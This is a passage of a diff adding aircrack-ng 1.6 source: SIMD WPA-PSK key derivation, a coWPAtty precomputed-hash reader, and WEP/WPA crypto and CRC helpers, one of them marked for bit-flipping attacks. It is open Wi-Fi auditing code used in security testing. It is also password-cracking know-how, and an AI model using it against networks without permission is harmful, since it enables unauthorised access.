+				= ctx_ipad[j].h4;
+
+			i2[(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
+			   + 0 * SIMD_COEF_32]
+				= ctx_opad[j].h0;
+			i2[(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
+			   + 1 * SIMD_COEF_32]
+				= ctx_opad[j].h1;
+			i2[(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
+			   + 2 * SIMD_COEF_32]
+				= ctx_opad[j].h2;
+			i2[(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
+			   + 3 * SIMD_COEF_32]
+				= ctx_opad[j].h3;
+			i2[(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
+			   + 4 * SIMD_COEF_32]
+				= ctx_opad[j].h4;
+#else
+			i1[(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))]
+				= ctx_ipad[j].h0;
+			i1[(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1)) + MMX_COEF]
+				= ctx_ipad[j].h1;
+			i1[(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))
+			   + (MMX_COEF << 1)]
+				= ctx_ipad[j].h2;
+			i1[(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))
+			   + MMX_COEF * 3]
+				= ctx_ipad[j].h3;
+			i1[(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))
+			   + (MMX_COEF << 2)]
+				= ctx_ipad[j].h4;
+
+			i2[(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))]
+				= ctx_opad[j].h0;
+			i2[(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1)) + MMX_COEF]
+				= ctx_opad[j].h1;
+			i2[(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))
+			   + (MMX_COEF << 1)]
+				= ctx_opad[j].h2;
+			i2[(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))
+			   + MMX_COEF * 3]
+				= ctx_opad[j].h3;
+			i2[(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))
+			   + (MMX_COEF << 2)]
+				= ctx_opad[j].h4;
+#endif
+
+			essid[slen - 1] = 1;
+			// This code does the HMAC(EVP_....) call.  We already have essid
+			// appended with BE((int)1) so we simply call a single SHA1_Update
+			memcpy(&sha1_ctx, &ctx_ipad[j], sizeof(sha1_ctx));
+			SHA1_Update(&sha1_ctx, essid, slen);
+			SHA1_Final(outbuf[j].c, &sha1_ctx);
+			memcpy(&sha1_ctx, &ctx_opad[j], sizeof(sha1_ctx));
+			SHA1_Update(&sha1_ctx, outbuf[j].c, SHA_DIGEST_LENGTH);
+			SHA1_Final(outbuf[j].c, &sha1_ctx);
+
+// now convert this from flat into MMX_COEF buffers.   (same as the memcpy()
+// commented out in the last line)
+// Also, perform the 'first' ^= into the crypt buffer.  We are doing that in BE
+// format
+// so we will need to 'undo' that in the end.
+#ifdef SIMD_CORE
+			o1[(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
+			   + (j & (SIMD_COEF_32 - 1))
+			   + 0 * SIMD_COEF_32]
+				= outbuf[j].i[0] = sha1_ctx.h0;
+			o1[(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
+			   + (j & (SIMD_COEF_32 - 1))
+			   + 1 * SIMD_COEF_32]
+				= outbuf[j].i[1] = sha1_ctx.h1;
+			o1[(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
+			   + (j & (SIMD_COEF_32 - 1))
+			   + 2 * SIMD_COEF_32]
+				= outbuf[j].i[2] = sha1_ctx.h2;
+			o1[(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
+			   + (j & (SIMD_COEF_32 - 1))
+			   + 3 * SIMD_COEF_32]
+				= outbuf[j].i[3] = sha1_ctx.h3;
+			o1[(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
+			   + (j & (SIMD_COEF_32 - 1))
+			   + 4 * SIMD_COEF_32]
+				= outbuf[j].i[4] = sha1_ctx.h4;
+#else
+			o1[(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))]
+				= outbuf[j].i[0] = sha1_ctx.h0;
+			o1[(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
+			   + MMX_COEF]
+				= outbuf[j].i[1] = sha1_ctx.h1;
+			o1[(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
+			   + (MMX_COEF << 1)]
+				= outbuf[j].i[2] = sha1_ctx.h2;
+			o1[(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
+			   + MMX_COEF * 3]
+				= outbuf[j].i[3] = sha1_ctx.h3;
+			o1[(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
+			   + (MMX_COEF << 2)]
+				= outbuf[j].i[4] = sha1_ctx.h4;
+#endif
+		}
+
+		for (i = 1; i < 4096; i++)
+		{
+			SIMDSHA1body((unsigned int *) t_sse_hash1,
+						 (unsigned int *) t_sse_hash1,
+						 (unsigned int *) t_sse_crypt1,
+						 SSEi_MIXED_IN | SSEi_RELOAD | SSEi_OUTPUT_AS_INP_FMT);
+			SIMDSHA1body((unsigned int *) t_sse_hash1,
+						 (unsigned int *) t_sse_hash1,
+						 (unsigned int *) t_sse_crypt2,
+						 SSEi_MIXED_IN | SSEi_RELOAD | SSEi_OUTPUT_AS_INP_FMT);
+
+			for (j = 0; j < NBKEYS; j++)
+			{
+#ifdef SIMD_CORE
+				uint32_t * p
+					= &((uint32_t *)
+							t_sse_hash1)[(((j / SIMD_COEF_32) * SHA_BUF_SIZ)
+										  * SIMD_COEF_32)
+										 + (j & (SIMD_COEF_32 - 1))];
+				UNROLL_LOOP_N_TIME(5)
+				for (k = 0; k < 5; k++) outbuf[j].i[k] ^= p[(k * SIMD_COEF_32)];
+#else
+				uint32_t * p = &((
+					uint32_t *) t_sse_hash1)[(((j >> 2) * SHA_BUF_SIZ) << 2)
+												 + (j & (MMX_COEF - 1))];
+				UNROLL_LOOP_N_TIME(5)
+				for (k = 0; k < 5; k++)
+					outbuf[j].i[k] ^= p[(k << (MMX_COEF >> 1))];
+#endif
+			}
+		}
+
+		essid[slen - 1] = 2;
+		for (j = 0; j < NBKEYS; ++j)
+		{
+			// This code does the HMAC(EVP_....) call. We already have essid
+			// appended with BE((int)1) so we simply call a single SHA1_Update
+			memcpy(&sha1_ctx, &ctx_ipad[j], sizeof(sha1_ctx));
+			SHA1_Update(&sha1_ctx, essid, slen);
+			SHA1_Final(&outbuf[j].c[20], &sha1_ctx);
+			memcpy(&sha1_ctx, &ctx_opad[j], sizeof(sha1_ctx));
+			SHA1_Update(&sha1_ctx, &outbuf[j].c[20], 20);
+			SHA1_Final(&outbuf[j].c[20], &sha1_ctx);
+
+// now convert this from flat into MMX_COEF buffers.  (same as the memcpy()
+// commented out in the last line)
+// Also, perform the 'first' ^= into the crypt buffer.  We are doing that in BE
+// format
+// so we will need to 'undo' that in the end. (only 3 dwords of the 2nd block
+// outbuf are worked with).
+#ifdef SIMD_CORE
+			o1[(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
+			   + (j & (SIMD_COEF_32 - 1))
+			   + 0 * SIMD_COEF_32]
+				= outbuf[j].i[5] = sha1_ctx.h0;
+			o1[(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
+			   + (j & (SIMD_COEF_32 - 1))
+			   + 1 * SIMD_COEF_32]
+				= outbuf[j].i[6] = sha1_ctx.h1;
+			o1[(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
+			   + (j & (SIMD_COEF_32 - 1))
+			   + 2 * SIMD_COEF_32]
+				= outbuf[j].i[7] = sha1_ctx.h2;
+			o1[(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
+			   + (j & (SIMD_COEF_32 - 1))
+			   + 3 * SIMD_COEF_32]
+				= sha1_ctx.h3;
+			o1[(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
+			   + (j & (SIMD_COEF_32 - 1))
+			   + 4 * SIMD_COEF_32]
+				= sha1_ctx.h4;
+#else
+			o1[(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))]
+				= outbuf[j].i[5] = sha1_ctx.h0;
+			o1[(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
+			   + MMX_COEF]
+				= outbuf[j].i[6] = sha1_ctx.h1;
+			o1[(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
+			   + (MMX_COEF << 1)]
+				= outbuf[j].i[7] = sha1_ctx.h2;
+			o1[(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
+			   + MMX_COEF * 3]
+				= sha1_ctx.h3;
+			o1[(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
+			   + (MMX_COEF << 2)]
+				= sha1_ctx.h4;
+#endif
+		}
+		for (i = 1; i < 4096; i++)
+		{
+			SIMDSHA1body((unsigned int *) t_sse_hash1,
+						 (unsigned int *) t_sse_hash1,
+						 (unsigned int *) t_sse_crypt1,
+						 SSEi_MIXED_IN | SSEi_RELOAD | SSEi_OUTPUT_AS_INP_FMT);
+			SIMDSHA1body((unsigned int *) t_sse_hash1,
+						 (unsigned int *) t_sse_hash1,
+						 (unsigned int *) t_sse_crypt2,
+						 SSEi_MIXED_IN | SSEi_RELOAD | SSEi_OUTPUT_AS_INP_FMT);
+			for (j = 0; j < NBKEYS; j++)
+			{
+#ifdef SIMD_CORE
+				uint32_t * p
+					= &((uint32_t *)
+							t_sse_hash1)[(((j / SIMD_COEF_32) * SHA_BUF_SIZ)
+										  * SIMD_COEF_32)
+										 + (j & (SIMD_COEF_32 - 1))];
+				UNROLL_LOOP_N_TIME(4)
+				for (k = 5; k < 8; k++)
+					outbuf[j].i[k] ^= p[((k - 5) * SIMD_COEF_32)];
+#else
+				uint32_t * p = &((
+					uint32_t *) t_sse_hash1)[(((j >> 2) * SHA_BUF_SIZ) << 2)
+												 + (j & (MMX_COEF - 1))];
+				UNROLL_LOOP_N_TIME(4)
+				for (k = 5; k < 8; k++)
+					outbuf[j].i[k] ^= p[((k - 5) << (MMX_COEF >> 1))];
+#endif
+			}
+		}
+
+		for (j = 0; j < NBKEYS; ++j)
+		{
+			memcpy(&engine->thread_data[threadid]->pmk[j], //-V512
+				   outbuf[j].c,
+				   32);
+			alter_endianity_to_BE((&engine->thread_data[threadid]->pmk[j]), 8);
+		}
+	}
+
+	return;
+}
+#endif
+
+void init_atoi()
+{
+	char * pos;
+
+	memset(atoi64, 0x7F, sizeof(atoi64));
+	for (pos = itoa64; pos != &itoa64[63]; pos++)
+		atoi64[ARCH_INDEX(*pos)] = pos - itoa64;
+}
+
+#ifdef SIMD_CORE
+//#define XDEBUG 1
+//#define ODEBUG 1
+int init_wpapsk(ac_crypto_engine_t * engine,
+				const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+				int nparallel,
+				int threadid)
+{
+	int i = 0;
+	int count = 0;
+
+	// clear entire output table
+	memset(engine->thread_data[threadid]->pmk,
+		   0,
+		   (sizeof(wpapsk_hash) * (nparallel)));
+
+	{
+		unsigned char * sse_hash1 = engine->thread_data[threadid]->hash1;
+
+		int index;
+		for (index = 0; index < nparallel; ++index)
+		{
+// set the length of all hash1 SSE buffer to 64+20 * 8 bits. The 64 is for the
+// ipad/opad,
+// the 20 is for the length of the SHA1 buffer that also gets into each crypt.
+// Works for SSE2i and SSE2
+#ifdef SIMD_CORE
+			((unsigned int *)
+				 sse_hash1)[15 * SIMD_COEF_32 + (index & (SIMD_COEF_32 - 1))
+							+ (unsigned int) index / SIMD_COEF_32 * SHA_BUF_SIZ
+								  * SIMD_COEF_32]
+				= (84 << 3); // all encrypts are 64+20 bytes.
+#else
+			((unsigned int *)
+				 sse_hash1)[15 * MMX_COEF + (index & (MMX_COEF - 1))
+							+ (index >> (MMX_COEF >> 1)) * SHA_BUF_SIZ
+								  * MMX_COEF]
+				= (84 << 3); // all encrypts are 64+20 bytes.
+#endif
+			sse_hash1[GETPOS(20, index)] = 0x80;
+		}
+	}
+
+	for (i = 0; i < nparallel; ++i)
+	{
+		char * tkey = (char *) key[i].v;
+
+		if (*tkey != 0)
+		{
+//			set_key(tkey, i, inbuffer);
+#ifdef XDEBUG
+			printf(
+				"key%d (inbuffer) = (%p) %s  VALID\n", i + 1, tkey, key[i].v);
+#endif
+			count = i + 1;
+		}
+	}
+
+	wpapsk_sse(engine, threadid, count, key);
+
+	return 0;
+}
+#endif
\ No newline at end of file

aircrack-ng-1.6.tar.gz/lib/cowpatty Added

aircrack-ng-1.6.tar.gz/lib/cowpatty/cowpatty.c Added

@@ -0,0 +1,224 @@
+/*
+ *  coWPAtty hash DB file helper functions
+ *
+ *  Copyright (C) 2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/cowpatty/cowpatty.h"
+
+void close_free_cowpatty_hashdb(struct cowpatty_file * cf)
+{
+	if (cf != NULL)
+	{
+		if (cf->fp)
+		{
+			fclose(cf->fp);
+		}
+		free(cf);
+	}
+}
+
+struct cowpatty_file * open_cowpatty_hashdb(const char * filename,
+											const char * mode)
+{
+	struct hashdb_head filehead;
+
+	// Initialize structure
+	struct cowpatty_file * ret
+		= (struct cowpatty_file *) malloc(sizeof(struct cowpatty_file));
+	ALLEGE(ret != NULL);
+	memset(ret->ssid, 0, sizeof(ret->ssid));
+	memset(ret->error, 0, sizeof(ret->error));
+	ret->fp = NULL;
+
+	if (filename == NULL || filename[0] == 0)
+	{
+		strcpy(ret->error, "No filename specified");
+		return (ret);
+	}
+
+	if (mode == NULL || strncmp(mode, "r", 1) == 0)
+	{
+		if (strcmp(filename, "-") == 0)
+		{
+			ret->fp = stdin;
+		}
+		else
+		{
+			ret->fp = fopen(filename, "r");
+			if (ret->fp == NULL)
+			{
+				snprintf(ret->error,
+						 sizeof(ret->error),
+						 "File <%s> cannot be opened",
+						 filename);
+				return (ret);
+			}
+		}
+
+		// Check headers
+		if (fread(&filehead, sizeof(struct hashdb_head), 1, ret->fp) != 1)
+		{
+			strcpy(ret->error, "Failed reading hash DB header");
+			fclose(ret->fp);
+			ret->fp = NULL;
+			return (ret);
+		}
+
+		if (filehead.magic != GENPMKMAGIC)
+		{ // Verify header magic
+			strcpy(ret->error, "Header magic doesn't match");
+			fclose(ret->fp);
+			ret->fp = NULL;
+			return (ret);
+		}
+		if (filehead.ssid[0] == 0)
+		{
+			strcpy(ret->error, "SSID is NULL");
+			fclose(ret->fp);
+			ret->fp = NULL;
+			return (ret);
+		}
+
+		// Copy SSID
+		memcpy(ret->ssid, filehead.ssid, sizeof(filehead.ssid));
+		if (filehead.ssidlen > 32 || filehead.ssidlen == 0)
+		{
+			snprintf(ret->error,
+					 sizeof(ret->error),
+					 "Advertised SSID length is %u (Max length: 32)",
+					 filehead.ssidlen);
+			fclose(ret->fp);
+			ret->fp = NULL;
+		}
+	}
+	else
+	{
+		// Write not supported yet
+		strcpy(ret->error, "Write and other modes not supported yet");
+	}
+
+	return (ret);
+}
+
+struct hashdb_rec * read_next_cowpatty_record(struct cowpatty_file * cf)
+{
+	int rc, wordlength;
+	struct hashdb_rec * ret = NULL;
+
+	if (cf == NULL || cf->error[0])
+	{
+		return (NULL);
+	}
+
+	if (cf->fp == NULL)
+	{
+		strcpy(cf->error, "File pointer is NULL");
+		return (NULL);
+	}
+
+	// Allocate memory
+	ret = (struct hashdb_rec *) malloc(sizeof(struct hashdb_rec));
+	if (ret == NULL)
+	{
+		strcpy(cf->error, "Failed allocating memory for coWPAtty record");
+		return (NULL);
+	}
+
+	// Read record size
+	rc = fread(&(ret->rec_size), sizeof(ret->rec_size), 1, cf->fp);
+
+	// Close and exit if failed
+	if (rc != 1 && feof(cf->fp))
+	{
+		free(ret);
+		fclose(cf->fp);
+		cf->fp = NULL;
+		return (NULL);
+	}
+
+	// Get passphrase length
+	ret->word = NULL;
+	wordlength = ret->rec_size - (sizeof(ret->pmk) + sizeof(ret->rec_size));
+
+	if (wordlength > 0 && wordlength <= MAX_PASSPHRASE_LENGTH)
+	{
+		ret->word = (char *) calloc(wordlength + 1, sizeof(char));
+		ALLEGE(ret->word != NULL);
+
+		// Read passphrase
+		rc += fread(ret->word, wordlength, 1, cf->fp);
+		if (rc == 2)
+		{
+			// And the PMK
+			rc += fread(&ret->pmk, sizeof(ret->pmk), 1, cf->fp);
+		}
+	}
+
+	// Check if everything went well
+	if (rc != 3 || ret->word == NULL || ret->word[0] == 0)
+	{
+		if (rc == 1)
+		{
+			snprintf(cf->error,
+					 sizeof(cf->error),
+					 "Error while reading record, failed to read passphrase "
+					 "invalid word length: %i",
+					 wordlength);
+		}
+		else if (rc == 2)
+		{
+			strcpy(cf->error, "Error while reading record, failed reading PMK");
+		}
+		else
+		{
+			strcpy(cf->error, "NULL or empty passphrase");
+		}
+
+		// Cleanup and close file
+		fclose(cf->fp);
+		free(ret->word);
+		free(ret);
+		ret = NULL;
+		cf->fp = NULL;
+	}
+
+	return (ret);
+}
\ No newline at end of file

aircrack-ng-1.6.tar.gz/lib/crypto Added

aircrack-ng-1.6.tar.gz/lib/crypto/crypto.c Added

@@ -0,0 +1,1568 @@
+/*
+ *  MD5, SHA-1, RC4 and AES implementations
+ *
+ *  Copyright (C) 2001-2004  Christophe Devine
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <string.h>
+#include <arpa/inet.h>
+#include <assert.h>
+#include <pthread.h>
+#include <stdint.h>
+#include <errno.h>
+
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/crypto/crypto.h"
+#include "aircrack-ng/crypto/crctable.h"
+#include "aircrack-ng/aircrack-ng.h"
+#include "aircrack-ng/support/common.h"
+
+#define UBTOUL(b) ((unsigned long) (b))
+
+// libgcrypt thread callback definition for libgcrypt < 1.6.0
+#ifdef USE_GCRYPT
+#if GCRYPT_VERSION_NUMBER < 0x010600
+GCRY_THREAD_OPTION_PTHREAD_IMPL;
+#endif
+#endif
+
+API_EXPORT
+void ac_crypto_init(void)
+{
+#ifdef USE_GCRYPT
+// Register callback functions to ensure proper locking in the sensitive parts
+// of libgcrypt < 1.6.0
+#if GCRYPT_VERSION_NUMBER < 0x010600
+	gcry_control(GCRYCTL_SET_THREAD_CBS, &gcry_threads_pthread);
+#endif
+	// Disable secure memory.
+	gcry_control(GCRYCTL_DISABLE_SECMEM, 0);
+	// Tell Libgcrypt that initialization has completed.
+	gcry_control(GCRYCTL_INITIALIZATION_FINISHED, 0);
+#endif
+}
+
+/* RC4 encryption/ WEP decryption check */
+
+/*  SSL decryption */
+
+inline int
+encrypt_wep(unsigned char * data, int len, unsigned char * key, int keylen)
+{
+	RC4_KEY S;
+
+	RC4_set_key(&S, keylen, key);
+	RC4(&S, (size_t) len, data, data);
+
+	return (0);
+}
+
+inline int
+decrypt_wep(unsigned char * data, int len, unsigned char * key, int keylen)
+{
+	encrypt_wep(data, len, key, keylen);
+
+	return (check_crc_buf(data, len - 4));
+}
+
+/* derive the PMK from the passphrase and the essid */
+
+void calc_pmk(char * key, char * essid_pre, unsigned char pmk[40])
+{
+	REQUIRE(key != NULL);
+	REQUIRE(essid_pre != NULL);
+
+	int i, j, slen;
+	unsigned char buffer[65];
+	char essid[33 + 4];
+	SHA_CTX ctx_ipad;
+	SHA_CTX ctx_opad;
+	SHA_CTX sha1_ctx;
+	size_t essid_pre_len;
+
+	if (essid_pre[0] == 0 || (essid_pre_len = strlen(essid_pre)) > 32)
+	{
+		return;
+	}
+
+	memset(essid, 0, sizeof(essid));
+	memcpy(essid, essid_pre, essid_pre_len);
+	slen = (int) essid_pre_len + 4;
+
+	/* setup the inner and outer contexts */
+
+	memset(buffer, 0, sizeof(buffer));
+	strncpy((char *) buffer, key, sizeof(buffer) - 1);
+
+	for (i = 0; i < 64; i++) buffer[i] ^= 0x36;
+
+	SHA1_Init(&ctx_ipad);
+	SHA1_Update(&ctx_ipad, buffer, 64);
+
+	for (i = 0; i < 64; i++) buffer[i] ^= 0x6A;
+
+	SHA1_Init(&ctx_opad);
+	SHA1_Update(&ctx_opad, buffer, 64);
+
+	/* iterate HMAC-SHA1 over itself 8192 times */
+
+	essid[slen - 1] = '\1';
+	HMAC(EVP_sha1(),
+		 (unsigned char *) key,
+		 (int) strlen(key),
+		 (unsigned char *) essid,
+		 (size_t) slen,
+		 pmk,
+		 NULL);
+	memcpy(buffer, pmk, 20); //-V512
+
+	for (i = 1; i < 4096; i++)
+	{
+		memcpy(&sha1_ctx, &ctx_ipad, sizeof(sha1_ctx));
+		SHA1_Update(&sha1_ctx, buffer, 20);
+		SHA1_Final(buffer, &sha1_ctx);
+
+		memcpy(&sha1_ctx, &ctx_opad, sizeof(sha1_ctx));
+		SHA1_Update(&sha1_ctx, buffer, 20);
+		SHA1_Final(buffer, &sha1_ctx);
+
+		for (j = 0; j < 20; j++) pmk[j] ^= buffer[j];
+	}
+
+	essid[slen - 1] = '\2';
+	HMAC(EVP_sha1(),
+		 (unsigned char *) key,
+		 (int) strlen(key),
+		 (unsigned char *) essid,
+		 (size_t) slen,
+		 pmk + 20,
+		 NULL);
+	memcpy(buffer, pmk + 20, 20);
+
+	for (i = 1; i < 4096; i++)
+	{
+		memcpy(&sha1_ctx, &ctx_ipad, sizeof(sha1_ctx));
+		SHA1_Update(&sha1_ctx, buffer, 20);
+		SHA1_Final(buffer, &sha1_ctx);
+
+		memcpy(&sha1_ctx, &ctx_opad, sizeof(sha1_ctx));
+		SHA1_Update(&sha1_ctx, buffer, 20);
+		SHA1_Final(buffer, &sha1_ctx);
+
+		for (j = 0; j < 20; j++) pmk[j + 20] ^= buffer[j];
+	}
+}
+
+void calc_mic(struct AP_info * ap,
+			  unsigned char pmk[32],
+			  unsigned char ptk[80],
+			  unsigned char mic[20])
+{
+	REQUIRE(ap != NULL);
+
+	int i;
+	unsigned char pke[100];
+#if defined(USE_GCRYPT) || OPENSSL_VERSION_NUMBER < 0x10100000L                \
+	|| defined(LIBRESSL_VERSION_NUMBER)
+#define HMAC_USE_NO_PTR
+#endif
+
+#ifdef HMAC_USE_NO_PTR
+	HMAC_CTX ctx = {0};
+#else
+	HMAC_CTX * ctx;
+#endif
+
+	memcpy(pke, "Pairwise key expansion", 23);
+
+	if (memcmp(ap->wpa.stmac, ap->bssid, 6) < 0)
+	{
+		memcpy(pke + 23, ap->wpa.stmac, 6);
+		memcpy(pke + 29, ap->bssid, 6);
+	}
+	else
+	{
+		memcpy(pke + 23, ap->bssid, 6);
+		memcpy(pke + 29, ap->wpa.stmac, 6);
+	}
+
+	if (memcmp(ap->wpa.snonce, ap->wpa.anonce, 32) < 0)
+	{
+		memcpy(pke + 35, ap->wpa.snonce, 32);
+		memcpy(pke + 67, ap->wpa.anonce, 32);
+	}
+	else
+	{
+		memcpy(pke + 35, ap->wpa.anonce, 32);
+		memcpy(pke + 67, ap->wpa.snonce, 32);
+	}
+
+#ifdef HMAC_USE_NO_PTR
+	HMAC_CTX_init(&ctx);
+	HMAC_Init_ex(&ctx, pmk, 32, EVP_sha1(), NULL);
+	for (i = 0; i < 4; i++)
+	{
+		pke[99] = (uint8_t) i;
+		HMAC_Init_ex(&ctx, 0, 0, 0, 0);
+		HMAC_Update(&ctx, pke, 100);
+		HMAC_Final(&ctx, ptk + i * 20, NULL);
+	}
+	HMAC_CTX_cleanup(&ctx);
+#else
+	ctx = HMAC_CTX_new();
+	HMAC_Init_ex(ctx, pmk, 32, EVP_sha1(), NULL);
+	for (i = 0; i < 4; i++)
+	{
+		pke[99] = i;
+		HMAC_Init_ex(ctx, 0, 0, 0, 0);
+		HMAC_Update(ctx, pke, 100);
+		HMAC_Final(ctx, ptk + i * 20, NULL);
+	}
+	HMAC_CTX_free(ctx);
+#endif
+#undef HMAC_USE_NO_PTR
+
+	if (ap->wpa.keyver == 1)
+	{
+		HMAC(EVP_md5(), ptk, 16, ap->wpa.eapol, ap->wpa.eapol_size, mic, NULL);
+	}
+	else
+	{
+		HMAC(EVP_sha1(), ptk, 16, ap->wpa.eapol, ap->wpa.eapol_size, mic, NULL);
+	}
+}
+
+static inline unsigned long calc_crc(const unsigned char * buf, int len)
+{
+	REQUIRE(buf != NULL);
+
+	unsigned long crc = 0xFFFFFFFF;
+
+	for (; len > 0; len--, buf++)
+		crc = crc_tbl[(crc ^ *buf) & 0xFF] ^ (crc >> 8);
+
+	return (~crc);
+}
+
+// without inversion, must be used for bit flipping attacks
+static inline unsigned long calc_crc_plain(unsigned char * buf, int len)
+{
+	REQUIRE(buf != NULL);
+
+	unsigned long crc = 0x00000000;
+
+	for (; len > 0; len--, buf++)
+		crc = crc_tbl[(crc ^ *buf) & 0xFF] ^ (crc >> 8);
+
+	return (crc);
+}
+
+/* CRC checksum verification routine */
+
+int check_crc_buf(const unsigned char * buf, int len)
+{
+	REQUIRE(buf != NULL);
+
+	unsigned long crc;
+
+	crc = calc_crc(buf, len);
+	buf += len;
+	return (((crc) &0xFF) == buf[0] && ((crc >> 8) & 0xFF) == buf[1]
+			&& ((crc >> 16) & 0xFF) == buf[2]
+			&& ((crc >> 24) & 0xFF) == buf[3]);
+}
+
+/* Add CRC32 */
+
+int add_crc32(unsigned char * data, int length)
+{
+	REQUIRE(data != NULL);
+
+	unsigned long crc;
+
+	crc = calc_crc(data, length);
+
+	data[length] = (uint8_t)((crc) &0xFF);
+	data[length + 1] = (uint8_t)((crc >> 8) & 0xFF);
+	data[length + 2] = (uint8_t)((crc >> 16) & 0xFF);
+	data[length + 3] = (uint8_t)((crc >> 24) & 0xFF);
+
+	return (0);
+}
+
+int add_crc32_plain(unsigned char * data, int length)
+{
+	REQUIRE(data != NULL);
+
+	unsigned long crc;
+
+	crc = calc_crc_plain(data, length);
+
+	data[length] = (uint8_t)((crc) &0xFF);
+	data[length + 1] = (uint8_t)((crc >> 8) & 0xFF);
+	data[length + 2] = (uint8_t)((crc >> 16) & 0xFF);
+	data[length + 3] = (uint8_t)((crc >> 24) & 0xFF);
+
+	return (0);
+}
+
+int calc_crc_buf(const unsigned char * buf, int len)
+{
+	REQUIRE(buf != NULL);
+
+	return (int) (calc_crc(buf, len));
+}
+
+static void * get_da(unsigned char * wh)
+{
+	REQUIRE(wh != NULL);
+
+	if (wh[1] & IEEE80211_FC1_DIR_FROMDS)
+		return (wh + 4);
+	else
+		return (wh + 4 + 6 * 2);
+}
+
+static void * get_sa(unsigned char * wh)
+{
+	REQUIRE(wh != NULL);
+
+	if (wh[1] & IEEE80211_FC1_DIR_FROMDS)
+		return (wh + 4 + 6 * 2);
+	else
+		return (wh + 4 + 6);
+}
+
+int is_ipv6(void * wh)
+{
